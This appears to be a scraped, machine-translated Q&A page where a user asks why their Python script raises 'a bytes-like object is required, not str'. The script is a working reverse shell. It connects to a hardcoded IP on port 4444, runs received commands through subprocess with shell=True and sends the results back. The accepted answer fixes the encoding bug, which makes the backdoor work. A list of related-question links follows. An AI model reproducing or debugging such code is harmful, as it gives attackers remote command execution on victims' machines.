简体   繁体   English

Python 错误类型错误:需要类似字节的 object,而不是“str”

[英]Python ERROR TypeError: a bytes-like object is required, not 'str'

I don't understand what is the problem please help我不明白是什么问题请帮忙

when run in console it gives the following error:在控制台中运行时出现以下错误:

TypeError: a bytes-like object is required, not 'str' 

#!/usr/bin/env python

import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shell = True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("213.32.21.3", 4444))

connection.send("\n[+] Connection established. \n")

while True:
    command = connection.recv(1024)
    command_result = execute_system_command(command)
    connection.send(command_result)

    connection.close()

  

You need to send your message as bytes and not as str.您需要以字节而不是 str 的形式发送消息。 Just do this:只需这样做:

connection.send(bytes(<Your Message>, "utf-8"))

Parse your message as first parameter for the bytes function.将您的消息解析为字节 function 的第一个参数。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 Python错误:TypeError:需要一个类似字节的对象,而不是&#39;str&#39; - Python error: TypeError: a bytes-like object is required, not 'str' python错误TypeError:需要一个类似字节的对象,而不是&#39;str&#39; - python error TypeError: a bytes-like object is required,not 'str' Python SocketServer 错误:TypeError:需要类似字节的对象,而不是“str” - Python SocketServer Error : TypeError: a bytes-like object is required, not 'str' 需要一个类似字节的对象,而不是&#39;str&#39;:TypeError - a bytes-like object is required, not 'str' : TypeError TypeError:需要一个类似字节的对象,而不是“str” - TypeError: a bytes-like object is required, not 'str' TypeError:需要类似字节的 object,而不是“str”? - TypeError: a bytes-like object is required, not 'str'? TypeError:需要一个类似字节的对象,而不是&#39;str&#39; - TypeError: a bytes-like object is required, not 'str' TypeError:需要一个类似字节的对象,对于无服务器和Python3来说不是&#39;str&#39; - TypeError: a bytes-like object is required, not 'str' with serverless and Python3 Python 3,TypeError:需要一个类似字节的对象,而不是&#39;str&#39; - Python 3, TypeError: a bytes-like object is required, not 'str' Python3 TypeError:需要一个类似字节的对象,而不是“str” - Python3 TypeError: a bytes-like object is required, not 'str'
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM